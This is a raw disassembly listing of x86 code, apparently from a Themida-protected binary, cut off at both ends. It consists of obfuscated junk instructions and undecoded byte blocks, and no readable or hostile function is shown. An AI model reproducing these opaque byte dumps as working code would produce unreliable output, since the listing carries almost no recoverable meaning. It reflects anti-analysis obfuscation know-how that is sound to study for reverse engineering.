dd 0C0F8EC80h, 0EC8003E4h, 78C4805Bh, 5158E300h, 0DDF6CEB5h
dd 0F580D5F6h, 59EB0060h, 0EB80C328h, 5DEB80ADh, 0FFC1F6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_572D2D: ; CODE XREF: Themida_:005714E2j
sub edx, 0C0E76873h
sub ebx, edx
mov edx, [esp]
jmp loc_56B1C2
; ---------------------------------------------------------------------------
db 57h, 0BFh, 7Ah
dd 812DEF7Dh, 0DFE414C7h, 0E9FB0109h, 0FFFFF47Dh, 33241C31h
dd 0E95C241Ch, 0FFFFDA35h, 0A392E958h, 1C89FFFFh, 0E9E38924h
dd 0FFFF601Bh
; ---------------------------------------------------------------------------
loc_572D6C: ; CODE XREF: Themida_:005669CEj
mov esi, 46A30E42h
jmp loc_5616BD
; ---------------------------------------------------------------------------
dw 77FFh
dd 19589D1Ch, 0E99C2404h, 2983h, 4C481h, 0EE810000h, 3E3F52ECh
dd 4E03E6C1h, 46EEBF57h, 0E1E97234h, 66FFFFA0h, 6824048Bh
dd 2BCh, 68240C89h, 3D07h, 24048F54h, 81EFE953h, 0EA81FFFFh
dd 850F38A9h, 295AD029h, 7A12E9F0h, 665DFFFFh, 6607E3C1h
dd 90EAC381h, 0FF2813E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_572DD9: ; CODE XREF: Themida_:00568E25j
add ebx, 0A1162A58h
add esi, ebx
pop ebx
sub edi, 40F266AEh
sub edi, esi
add edi, 40F266AEh
pop esi
jmp loc_570D78
; ---------------------------------------------------------------------------
dw 0ED81h
dd 0FFFFFFFFh, 8104E5C1h, 0BF44F7F5h, 1535E918h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_572E0A: ; CODE XREF: Themida_:00573F5Cj
mov ecx, 1FB02B85h
add ecx, 0F62193D0h
mov ebp, ecx
pop ecx
sub esi, 40D44573h
sub esi, ebp
jmp loc_575B94
; ---------------------------------------------------------------------------
db 0BBh, 7Ch, 4
dd 0E94324F7h, 0FFFEFFE1h
; ---------------------------------------------------------------------------
loc_572E30: ; CODE XREF: Themida_:005667FAj
push 6069h
mov [esp], edx
jmp loc_56F12E
; ---------------------------------------------------------------------------
db 53h, 0BBh, 0E1h
dd 812D4276h, 2A2FCDF3h, 3116E95Ch, 2C870000h, 0C895C24h
dd 447C6824h, 6859204Bh, 51B5h, 0FF240C89h, 5559240Ch
dd 0F0560CBDh, 8E5C10Ch, 0FF0AC3E9h, 2CEF80FFh, 1C8BF800h
dd 0E7A7E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_572E82: ; CODE XREF: Themida_:0056B563j
sub bl, al
jmp loc_56EBA5
; ---------------------------------------------------------------------------
db 81h, 0C6h, 1Eh
dd 5B409237h, 74646856h, 0E95E41A7h, 0FFFF4EDFh, 4BDh
dd 0E9E80100h, 0FFFFFC76h, 5E1C15Ah, 0FF7AE5E9h, 4BD55FFh
dd 0E9000000h, 0FFFF3CFCh
; ---------------------------------------------------------------------------
loc_572EBC: ; CODE XREF: Themida_:00573E94j
pop esp
push 1Fh
mov [esp], ecx
mov ecx, 23480A40h
add ebx, ecx
pop ecx
add ebx, 6C162DF3h
jmp loc_56F338
; ---------------------------------------------------------------------------
loc_572ED8: ; CODE XREF: Themida_:0056843Fj
mov [esp], eax
xor [esp], ebp
xor ebp, [esp]
jmp loc_56D25B
; ---------------------------------------------------------------------------
dw 0D968h
dd 89000068h, 4BF243Ch, 0E9000000h, 0FFFFA432h, 51241C89h
dd 2B9h, 0F79BE900h, 74FFFFFEh, 348B0424h, 4C48324h, 8B24048Fh
dd 34FF2424h, 240C8B24h, 4C481h, 59E90000h, 81FFFEE2h
dd 1E1D68C6h, 2434FF1Ah, 175B685Bh, 0E6E90000h, 8BFFFFD0h
dd 0E5E92414h, 87FFFF4Fh, 0E95C2404h, 0FFFF5282h
; ---------------------------------------------------------------------------
loc_572F4C: ; CODE XREF: Themida_:0057640Fj
mov ecx, edx
pop edx
add esi, ecx
mov ecx, [esp]
add esp, 4
xor esi, 9ACA8Ah
mov ebx, esi
pop esi
push ecx
mov ecx, 24h
add ecx, edi
push edx
mov edx, 0
push ebp
mov ebp, 59A678D8h
sub edx, ebp
jmp loc_561DC7
; ---------------------------------------------------------------------------
loc_572F7B: ; CODE XREF: Themida_:0056F7A7j
inc cl
jmp loc_56AADB
; ---------------------------------------------------------------------------
dw 895Ch
dd 4812424h, 424h, 51565800h, 0FF6E89E9h, 0DCBD55FFh, 8122DB4Eh
dd 141671E5h, 6EDC141h, 137CD81h, 0C5813099h, 4E673F09h
dd 0DA6AC581h, 0EB01DF07h, 0E3E9505Dh, 89FFFFD9h, 7AB02404h
dd 0C30024B3h, 5BD92858h, 10C0E9h, 5D5B5500h, 0FF8AD1E9h
dd 2C5B66FFh, 0C3B1E92Ah, 0D3F7FFFFh, 0BB53DF87h, 5028736Fh
dd 5A23F381h, 0A5E977DEh, 5EFFFF36h, 0BF57F001h, 1D775794h
dd 0C0E9F829h, 5DFFFF8Dh, 635868h, 241C8900h, 42474FFh
dd 24048F5Bh, 0F24248Bh, 0EC81C8B7h, 4, 0E9241489h, 0FFFF4A7Eh
; ---------------------------------------------------------------------------
loc_57302C: ; CODE XREF: Themida_:0056C992j
push edi
mov edi, esp
add edi, 4
jmp loc_56C546
; ---------------------------------------------------------------------------
dw 0E189h
dd 4C181h, 0E9830000h, 240C8704h, 0FF609DE9h, 8BEC88FFh
dd 0C483240Ch, 241C8B04h, 4C481h, 0E7200000h, 24048B66h
dd 0FE02C483h, 42B652C7h, 2F2DE9h, 0C4835D00h, 4EC8104h
dd 89000000h, 8B542434h, 0C4832434h, 7ABE904h, 4050000h
dd 2D000000h, 4, 5C240487h, 57241C89h, 0C781E789h, 4, 8704EF83h
dd 895C243Ch, 4832424h, 8BE90424h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5730B7: ; CODE XREF: Themida_:00570403j
add edx, edi
jmp loc_56F94C
; ---------------------------------------------------------------------------
dw 0CD2Dh
dd 139C125h, 25CD05D8h, 34FF39C1h, 241C8B24h, 4C481h, 54550000h
dd 29BA525Dh, 810DC56Bh, 1A44D6C2h, 0DE95546h, 58FFFEF0h
dd 0E418A405h, 11EAE96Dh, 0EEC10000h, 6EEC107h, 0FF12DAE9h
dd 0C1815CFFh, 4, 0FF8CC8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_57310D: ; CODE XREF: Themida_:0056D8F1j
pop ebx
shr eax, 0Bh
xor ecx, eax
push ecx
jmp loc_575A3F
; ---------------------------------------------------------------------------
db 29h, 7Ch, 24h
dd 0E685608h, 5E01B24Dh, 0C247429h, 5E2434FFh, 4C481h
dd 0E95F0000h, 0FFFF74A1h, 68FFC283h, 2DFEh, 52242C89h
dd 0D2B2FB68h, 0D5895A9Dh, 8324148Bh, 0EA2904C4h, 0FF5EA3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_573159: ; CODE XREF: Themida_:0056F333j
add ebp, ecx
push edx
mov edx, 34F87050h
jmp loc_56ABF9
; ---------------------------------------------------------------------------
dw 0CE89h
dd 83C68159h, 5278242Eh, 0F114B1BAh, 5AD6291Fh, 0FFF3EDE9h
db 0FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_563AF8
; ---------------------------------------------------------------------------
db 8Bh
dd 5451240Ch, 351AE959h, 0D931FFFFh, 81241C8Bh, 4C4h, 59C82900h
dd 16F5E9h
db 0
; ---------------------------------------------------------------------------
loc_5731A9: ; CODE XREF: Themida_:0056D4F6j
mov esi, ebx
pop ebx
sub eax, 10BD1940h
sub eax, 33E034FCh
sub eax, esi
add eax, 33E034FCh
add eax, 10BD1940h
jmp loc_5758D3
; ---------------------------------------------------------------------------
loc_5731C7: ; CODE XREF: Themida_:00567405j
add ebx, esi
mov esi, [esp]
add esp, 4
add ebx, 4
jmp loc_56A28C
; ---------------------------------------------------------------------------
db 0FFh, 77h, 3Ch
dd 0FFFA02E9h, 59CE31FFh, 0FFD5ADE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5731ED: ; CODE XREF: Themida_:00570DEFj
shr eax, 8
jmp loc_576017
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 6E22EA81h, 10E9D8ECh, 52000007h, 0EC8327B6h, 240C8904h
dd 8FE9A2B1h, 58FFFF26h, 0FF0568E9h, 32E981FFh, 2917DA4Bh
dd 0D78959CAh, 4E83BE5Ah, 0FE2904DAh, 83243C8Bh, 586804C4h
dd 8900006Dh, 0BA522434h, 4A34074Ch, 0DCDCA81h, 34E93C58h
db 14h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57324B: ; CODE XREF: Themida_:0056CD53j
sub ebp, 1BE25700h
add ebp, edi
add ebp, 1BE25700h
push dword ptr [esp]
pop edi
sub esp, 4
mov [esp], ebx
push esp
jmp loc_574CA2
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 8ECBE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_573272: ; CODE XREF: Themida_:00562D29j
add ebp, 6F9F2FCEh
add ebp, edi
sub ebp, 6F9F2FCEh
pop edi
add ebp, 4
jmp loc_56A495
; ---------------------------------------------------------------------------
dd 6E69C3BEh, 0C1D6F71Ah, 0D6F705EEh, 0FF1ABCE9h, 8EBC1FFh
dd 4FF4C381h, 36E936F2h, 0C1FFFFD2h, 814F07E7h, 2A2923C7h
dd 5FFE8913h, 4E17342Dh, 0E9F00130h, 0FFFEE5BFh, 13CEB81h
dd 0F3817A63h, 5E4D396Dh, 0BFBF5743h, 0E992EEBCh, 0FFFFB3D7h
; ---------------------------------------------------------------------------
loc_5732DC: ; CODE XREF: Themida_:005767F8j
xor ebx, 0EED9DFC0h
mov edx, ebx
mov ebx, [esp]
sub esp, 4
mov [esp], edi
jmp loc_569D80
; ---------------------------------------------------------------------------
loc_5732F5: ; CODE XREF: Themida_:00569AB2j
sub ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_5617B1
; ---------------------------------------------------------------------------
dw 3487h
dd 24248B24h, 24042166h, 21B8E99Ch, 8150FFFFh, 4ECh, 24248900h
dd 4240481h, 0FF000000h, 48B2434h, 4C48124h, 56000000h
dd 0C681E689h, 4, 0FFC51DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_57333D: ; CODE XREF: Themida_:00564307j
pop ebp
neg edi
sub edi, 61DF3630h
inc edi
neg edi
and edi, 40DF4BCAh
jmp loc_5671F3
; ---------------------------------------------------------------------------
dd 243C3366h, 243C3166h, 31665766h, 99E9242Ch, 5CFFFF9Ah
dd 0FF5554E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_57336D: ; CODE XREF: Themida_:0056277Bj
pop edi
pop dword ptr [esp]
pop esp
shr ecx, 0
or eax, eax
jz loc_573801
push eax
jmp loc_56F4E7
; ---------------------------------------------------------------------------
db 0FFh
dd 0FF042474h, 48E92434h
db 2, 2 dup(0)
; ---------------------------------------------------------------------------
loc_57338F: ; CODE XREF: Themida_:005690BCj
push edi
mov edi, esp
jmp $+5
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push esi
mov esi, 4
add ebp, esi
pop esi
jmp loc_5755AF
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48324h, 0FEDC85E9h, 61EE80FFh, 80CCC680h, 0EE007DEEh
dd 0E97DC680h, 0FFFFDAFFh, 6EA3B951h, 0D1F7212Dh, 1339C181h
dd 0E1813281h, 4D8E2AC7h, 31C18141h, 298A8E9Eh, 72E959CDh
dd 0C1FFFEE0h, 0C78108E7h, 0B87DBC94h, 16A168h, 10E7E900h
dd 24890000h, 24048324h, 545E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_573412: ; CODE XREF: Themida_:00572869j
add edx, 51DC339Dh
jmp loc_562716
; ---------------------------------------------------------------------------
db 68h, 8Dh, 2Bh
dd 34890000h, 9D1BE24h, 0E6C101ECh, 2870E907h, 0F501FFFFh
dd 6965ED81h, 685E3B71h, 2395h, 0B9240C89h, 4, 0FEEB29E9h
dd 1EF281FFh, 817D441Ch, 70FFFFF2h, 5AD0298Dh, 5358C101h
dd 0E51735BBh, 2C196802h, 29E90000h
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57346F: ; CODE XREF: Themida_:00567850j
mov edi, [esp]
add esp, 4
add esp, 4
jmp loc_56EAA5
; ---------------------------------------------------------------------------
dd 0B8240489h, 18C868ADh, 8CE9C289h, 100001Eh, 241C8BDFh
dd 0FEE454E9h, 0C2815AFFh, 4, 0FF8136E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5734A5: ; CODE XREF: Themida_:0056CCC5j
push esi
mov esi, 0F334509h
not esi
shr esi, 8
push edi
push eax
mov eax, 0A99505Ah
sub eax, 3149190Fh
jmp loc_56CF79
; ---------------------------------------------------------------------------
db 66h, 68h, 51h
dd 0C896641h, 0B9EBE924h, 5CBEFFFFh, 315D7027h, 742958C6h
dd 348B0424h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_566989
; ---------------------------------------------------------------------------
loc_5734F5: ; CODE XREF: Themida_:00574077j
xchg ebx, [esp]
mov esp, [esp]
jmp loc_575F02
; ---------------------------------------------------------------------------
dd 2E566851h, 0A5E93759h, 89FFFF62h, 4832424h, 1C8B0424h
dd 4C48124h, 0E9000000h, 0FFFF21F8h, 2474FF55h, 48F5D04h
dd 24248B24h, 81E78957h, 4ECh, 242C8900h, 4BDh, 8BEF0100h
dd 0C481242Ch, 4, 0FFA113E9h, 0C9C681FFh, 81114F66h, 1C7517F6h
dd 61F68131h, 0E94FC951h, 0FFFF3B7Fh, 0CCE9CA21h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57356B: ; CODE XREF: Themida_:00575A3Aj
push dword ptr [esp]
jmp loc_57275F
; ---------------------------------------------------------------------------
loc_573573: ; CODE XREF: Themida_:00574703j
sub ebx, 6A82277Eh
add esi, ebx
pop ebx
push ebx
mov ebx, 4
jmp loc_56D188
; ---------------------------------------------------------------------------
db 1
dd 2CCA05D8h, 6EE91B54h, 66FFFF9Bh, 5224048Bh, 0FEFBE954h
dd 159FFFFh, 74E950C6h, 89FFFEE4h, 0C7E92424h
db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5735AF: ; CODE XREF: Themida_:0056DDDDj
not dword ptr [esp]
pop ecx
sub ecx, 0FEEE0F5Bh
mov edi, ecx
pop ecx
add [esp+4], edi
jmp loc_56CDE0
; ---------------------------------------------------------------------------
db 5Eh, 81h, 0C6h
dd 3FCC38B7h, 78A8055Fh, 0F7E97CE2h, 58FFFF4Eh, 1ADFE9h
dd 240C8900h, 0CDFEAEB5h, 0E959ED80h, 0B3Dh
; ---------------------------------------------------------------------------
loc_5735EC: ; CODE XREF: Themida_:00566E7Ej
mov ebx, 4
jmp loc_5665DC
; ---------------------------------------------------------------------------
dw 0C483h
dd 2434FF04h, 0FFCEB5E9h, 0C1DBF7FFh, 0F38108EBh, 4AB20D59h
dd 8AEEF381h, 0D9014A73h, 240C875Bh, 241C8B5Ch, 5104C483h
dd 0C181E189h, 4, 4E981h, 0C870000h, 0C895C24h, 2D685224h
dd 0E9000062h, 0FFFF1D0Ch, 0E628CDB6h, 41456858h, 1C890000h
dd 91686624h, 489662Eh, 0E9AFB424h, 0FFFF3500h
; ---------------------------------------------------------------------------
loc_57365C: ; CODE XREF: Themida_:005647CDj
inc ebx
neg ebx
jmp loc_5623C6
; ---------------------------------------------------------------------------
loc_573664: ; CODE XREF: Themida_:0056E1E0j
sub esi, 7880438Dh
pop eax
add eax, esi
jmp loc_566026
; ---------------------------------------------------------------------------
aZqhel db 'ZQhEL',0
dd 241C8900h, 0FEEDC4E9h, 4C481FFh, 0E9000000h, 0FFFF70AEh
dd 405h, 6E95700h, 5F00000Ch, 0FF0FBCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_57369D: ; CODE XREF: Themida_:0057661Fj
pop esp
add ebx, edi
jmp loc_57407C
; ---------------------------------------------------------------------------
db 89h, 0E0h, 55h
dd 217E9h, 0DD895B00h, 4D5B5F5Bh, 0FF1E581h, 0BA52506Ah
dd 38462906h, 5EA8142h, 3128441Ah, 2A89E9D5h, 835C0000h
dd 0CF8104C4h, 1720CDFh, 0FFAFA8E9h, 53D2F7FFh, 232B6FBBh
dd 6EEB817Bh, 31D2DB34h, 0D1015BDAh, 5A2434FFh, 81E78957h
dd 4C7h, 0C528E900h, 1489FFFFh, 40685124h, 5973A61Ch, 8104E9C1h
dd 0D42287F1h, 0DD44E951h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_57371A: ; CODE XREF: Themida_:0057636Fj
mov [esp], edi
mov edi, 45283F53h
push esi
mov esi, 27697C26h
add esi, 487C94E0h
xor edi, esi
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
push edx
jmp loc_567BD9
; ---------------------------------------------------------------------------
dd 4C481h, 92E90000h
db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_573753: ; CODE XREF: Themida_:0057605Aj
push 528Fh
mov [esp], ebp
jmp loc_566D41
; ---------------------------------------------------------------------------
loc_573760: ; CODE XREF: Themida_:005728C7j
add edx, 49F36839h
jmp loc_572825
; ---------------------------------------------------------------------------
aS_37 db ')Ùé¾',9,0
align 2
loc_573772: ; CODE XREF: Themida_:0056224Dj
push edx
push esp
mov edx, [esp]
add esp, 4
push ebx
mov ebx, 42326C4Eh
shl ebx, 4
sub ebx, 2326C4DCh
add edx, ebx
pop ebx
add edx, 4
jmp loc_572CD1
; ---------------------------------------------------------------------------
loc_57379A: ; CODE XREF: Themida_:00573F1Bj
sub eax, 2ECD3AA0h
sub edx, eax
pop eax
push 1EFFh
mov [esp], edx
jmp loc_56B62B
; ---------------------------------------------------------------------------
db 5Ah
dd 802CCC80h, 0EC8045C4h, 58E52844h, 8059EC88h, 43E9D2C4h
dd 50000002h, 885287B0h, 1756E9C6h, 0E95C0000h, 1C75h
; ---------------------------------------------------------------------------
loc_5737D8: ; CODE XREF: Themida_:00575934j
xchg edi, [esp]
mov esp, [esp]
jmp loc_5740AB
; ---------------------------------------------------------------------------
db 81h
dd 683118CAh, 90EA8118h, 51C57AF4h, 0FF1324E9h, 0DEE955FFh
dd 57FFFF4Ah, 1794E9h
db 0
; ---------------------------------------------------------------------------
loc_573801: ; CODE XREF: Themida_:00573377j
; Themida_:00575006j
push 59D8h
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebx
push esp
pop ebx
sub esp, 4
mov [esp], ebx
push esp
pop ebx
jmp loc_5655BB
; ---------------------------------------------------------------------------
dd 240C8B66h, 0AA91E953h, 0F681FFFFh, 119D99F9h, 0FF41D6E9h
dd 4C681FFh, 83000000h, 343304EEh, 0D359E924h, 0E468FFFFh
dd 0E9000020h, 0FFFF18ADh, 8B5AD101h, 0C4812434h, 4, 6804C183h
dd 256Ah, 0FF240C89h, 0E9042474h, 0FFFF51A9h, 8B2434FFh
dd 0EC81242Ch, 4, 89241489h, 4C281E2h, 83000000h, 148704C2h
dd 0B865E924h, 0F204FFFFh, 0F22CF828h, 23B25266h, 8B66D028h
dd 0C4832414h, 1C8B6602h, 2C48324h, 0FF49A1E9h, 49C781FFh
dd 1606070h, 49EF81D7h, 0E9606070h, 0FFFF17A2h, 4BDh, 5DE80100h
dd 4B951h, 0C8010000h, 24048759h, 8124248Bh, 4E9h, 31C2E900h
dd 248BFFFFh, 2424D224h, 0D750E99Ch, 0B70FFFFEh, 796866C0h
dd 4896644h, 0D740E924h, 895CFFFEh, 0BA52240Ch, 626C1266h
dd 9AE9D189h, 81FFFFDFh, 0B18795C2h, 7A5B0517h, 352D1F70h
dd 29056260h, 0D317E9D0h, 0E95EFFFFh, 24DAh, 8124048Bh
dd 4C4h, 8BCE0000h, 0C483240Ch, 51DEF604h, 3AE9A6B1h
db 3Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57394B: ; CODE XREF: Themida_:00571444j
push eax
mov al, cl
mov bl, al
pop eax
pop ecx
jmp loc_56CD18
; ---------------------------------------------------------------------------
db 0FFh
dd 62E92434h
db 51h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_57395F: ; CODE XREF: Themida_:00575434j
xor eax, [esp]
jmp loc_56A8F0
; ---------------------------------------------------------------------------
db 81h
dd 60C92434h, 535D1734h, 156DB8BBh, 7E3C17Ch, 8103E3C1h
dd 485282EBh, 0B01CE918h, 0EE01FFFFh, 5D2434FFh, 4C481h
dd 0BF570000h, 4, 25F1BD55h, 3DE979DDh
db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5739A3: ; CODE XREF: Themida_:0057602Cj
push dword ptr [esp]
pop edx
push edi
push esp
jmp loc_565699
; ---------------------------------------------------------------------------
dw 1489h
dd 0E99C5024h, 0FFFED68Ah, 761E9ACh, 0C6290000h, 52EE0158h
dd 0FF1ACAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5739C9: ; CODE XREF: Themida_:005675D2j
add ecx, ebp
jmp loc_564F22
; ---------------------------------------------------------------------------
loc_5739D0: ; CODE XREF: Themida_:0056AC78j
pop edx
add esp, 4
mov [edi+eax*4+1], cl
push dword ptr [esp]
mov ecx, [esp]
jmp loc_56C8F6
; ---------------------------------------------------------------------------
loc_5739E6: ; CODE XREF: Themida_:00564EB6j
shr eax, 1
dec eax
jmp loc_5637FF
; ---------------------------------------------------------------------------
dw 0C681h
dd 3E5405C4h, 3AABA52h, 0E28154A1h, 6BED78A8h, 0E2C1DAF7h
dd 0DA6DE904h, 0F480FFFEh, 58E3302Fh, 525BD830h, 5330B551h
dd 0CBFE16B3h, 82DC380h, 0FAE95BDDh, 0FFFFFF2Eh, 535A2434h
dd 0EC83E389h, 240C8904h, 9C96850h, 5558170Ch, 43E55BDh
dd 63F58134h, 0F738E139h, 6747E9D5h, 0C483FFFFh, 8AB65204h
dd 0E6C0DEF6h, 7AC68002h, 0E9F2CE80h, 0FFFF35C0h, 0C2FDE951h
dd 74FFFFFFh, 8F5B0424h, 815C2404h, 4ECh, 0FC54E900h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_573A7E: ; CODE XREF: Themida_:0056F73Dj
sub bl, 1
sub bl, 34h
jmp loc_56C27D
; ---------------------------------------------------------------------------
loc_573A89: ; CODE XREF: Themida_:0056F50Dj
mov ecx, 152471CDh
mov edi, ecx
pop ecx
xor edi, 3877520Fh
push eax
mov eax, 1D642A86h
jmp loc_561160
; ---------------------------------------------------------------------------
loc_573AA2: ; CODE XREF: Themida_:005655CEj
mov ecx, 28533CEEh
add ecx, 7C76135h
shl ecx, 2
jmp loc_5645E3
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 0FF86F8E9h, 874B3FFh, 0D4F65BDCh, 0EC83D4F6h, 912AE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_573ACE: ; CODE XREF: Themida_:0056AE48j
mov [esp], ecx
mov cl, 0E2h
mov dl, cl
pop ecx
jmp loc_570EA7
; ---------------------------------------------------------------------------
db 56h
dd 0C681E689h, 4, 8704EE83h, 895C2434h, 74FF240Ch, 8F590424h
dd 248B2404h, 48B6624h, 0E2895224h, 4EC81h, 0DEE90000h
dd 89FFFEF5h, 6852240Ch, 238B6EFDh, 0FF8D54E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_573B19: ; CODE XREF: Themida_:00571B7Bj
add esi, ebx
jmp loc_567BB9
; ---------------------------------------------------------------------------
dd 24048B66h, 3479E951h, 0FA01FFFFh, 3EDFEA81h, 28B2C8Eh
dd 2134685Ah, 0C890000h, 1B924h, 0C8210000h, 0FF1E93E9h
dd 48F5FFFh, 0D414E924h, 0C181FFFFh, 46AE13C0h, 327EC181h
dd 0D92944B3h, 327EE981h, 0E95244B3h, 0FFFF5525h, 6288E957h
dd 34FFFFFFh, 2434FF24h, 47E95058h, 50000010h, 8851FC88h
dd 0ADF0E9E1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_573B8A: ; CODE XREF: Themida_:0056FA2Fj
sub ebp, 0D387DCEh
sub ebp, 0EB2680D4h
add eax, ebp
pop ebp
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
push edi
jmp loc_56DFFE
; ---------------------------------------------------------------------------
db 51h, 89h, 0E1h
dd 4C181h, 0BB530000h, 4, 335BD901h, 0C31240Ch, 240C3324h
dd 2AAAE95Ch, 66680000h, 8900005Ch, 2368241Ch, 89000021h
dd 4832424h, 1C8B0424h, 4C48324h, 6A7C68h, 243C8900h, 0DE95253h
dd 81FFFEE9h, 0BE0B4DC2h, 0BB535625h, 68225771h, 0C15BDE89h
dd 0EEC108E6h, 42EE8102h, 29D61FC5h, 24348BF2h, 0FF9C8FE9h
dd 6AF92DFFh, 0F8013868h, 2A9368h, 24348900h, 686AF9BEh
dd 5EF00138h, 8C4D1F2Dh, 43432D75h, 0D36856EEh, 8900004Fh
dd 0DABD242Ch, 0C12D5E3Dh, 0C58104EDh, 14488702h, 0FF02B7E9h
dd 81D301FFh, 9B5FF7EBh, 24EB815Eh, 5A146771h, 2F1A68h
dd 243C8900h, 2BFh, 2BBD5500h, 8103D041h, 0DF5C1EC5h, 0E5F58141h
dd 11943DEh, 96E95DEBh
db 21h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_573C8B: ; CODE XREF: Themida_:00575DC1j
sub esp, 4
mov [esp], ebp
push 74651B1Dh
jmp loc_56F252
; ---------------------------------------------------------------------------
loc_573C9E: ; CODE XREF: Themida_:0056B1E7j
xor ebp, 4B77BC87h
add ecx, ebp
pop ebp
jmp loc_56B2E5
; ---------------------------------------------------------------------------
dd 0BF26FCBBh, 76522D7Eh, 7EE93E34h, 0E900001Ch, 0FFFED382h
dd 84E98158h, 15D3E6Bh, 84C181F9h, 5F5D3E6Bh, 31240C33h
dd 0C33240Ch, 24248B24h, 0FF2434FFh, 48B2434h, 4C48324h
dd 2EDE68h, 242C8900h, 0C5815D54h, 4, 0FF392BE9h, 0C8B66FFh
dd 2F7A6824h, 14890000h, 27FFE924h, 3C890000h, 36D2E924h
dd 489FFFFh, 8007B024h, 0C7003EEFh, 0FF5204E9h, 0BD55FFh
dd 0E93C472Fh, 0FFFFEEC3h, 0FF665566h, 66022474h, 48F665Dh
dd 665F6624h, 66243C31h, 0E9243C33h, 0FFFFA6DEh
; ---------------------------------------------------------------------------
loc_573D4C: ; CODE XREF: Themida_:0056ED1Bj
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_574AFB
; ---------------------------------------------------------------------------
db 81h, 0E2h, 74h
dd 8172B462h, 0C0121CF2h, 89BB5312h, 142B6BAh, 1334E9DAh
dd 489FFFFh, 75B2E924h, 0F281FFFFh, 98F4130h, 54BCEA81h
dd 37E910DDh, 83FFFF0Eh, 73E904ECh, 81FFFF4Eh, 0F2E8A9C2h
dd 6A00E92Dh, 3548FFFFh, 44EE396Eh, 0F87DFF0Dh, 9A442D7Ah
dd 0DFE96D53h, 8BFFFEE4h, 0C483243Ch, 8BD90904h, 0C481241Ch
dd 4, 5E49E981h, 0D9E94FEEh, 89FFFF59h, 74FF241Ch, 34FF0424h
dd 0C4835B24h, 24048F04h, 8924248Bh, 0E789243Ch, 18A8E9h
dd 81EF0100h, 0FE1701EFh, 28DAE922h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_573E0A: ; CODE XREF: Themida_:00561AE2j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_564D11
; ---------------------------------------------------------------------------
db 0BEh, 0E7h, 55h
dd 80E9064Dh, 53FFFF1Bh, 4AB668h, 24248900h, 4240481h
dd 8B000000h, 0C481241Ch, 4, 13CCE955h, 0D3F7FFFFh, 8106EBC1h
dd 5120ECF3h, 0EA9FE909h, 7401FFFFh, 44810424h, 0C5C0424h
dd 0FF5E1DDAh, 815F2434h, 4C4h, 1CEF8100h, 0E9398400h
dd 1650h, 0FF2434FFh, 48B2434h, 97E95624h
db 9, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_573E7F: ; CODE XREF: Themida_:0056A65Aj
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_572EBC
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 0FFh
dd 68FFFF92h, 6B9Dh, 53242489h, 4BBh, 245C0100h, 68595B04h
dd 5569h, 0FF7062E9h, 0E9DE29FFh, 0FFFF56B9h, 0E621E205h
dd 0DF16E930h, 9D2CFFFFh, 0FF1688E9h, 0C2BE56FFh, 0F70E5A4Ch
dd 0A6DBE9DEh, 0E981FFFFh, 1, 2D054891h, 8193BF22h, 245387C2h
dd 69EA8173h, 16FFC32h, 11E953C2h
db 8Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_573F03: ; CODE XREF: Themida_:0056BCF3j
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
pop dword ptr [esp]
push eax
mov eax, 2ECD3AA0h
dec eax
dec eax
inc eax
jmp loc_57379A
; ---------------------------------------------------------------------------
dd 8B2434FFh, 52522404h, 0FF1B37E9h, 0C5895BFFh, 7EDC158h
dd 0C107E5C1h, 0AB6805E5h, 89000062h, 0B5BF243Ch, 31737A34h
dd 0EE215FFDh, 0FFAAB8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_573F51: ; CODE XREF: Themida_:0056C381j
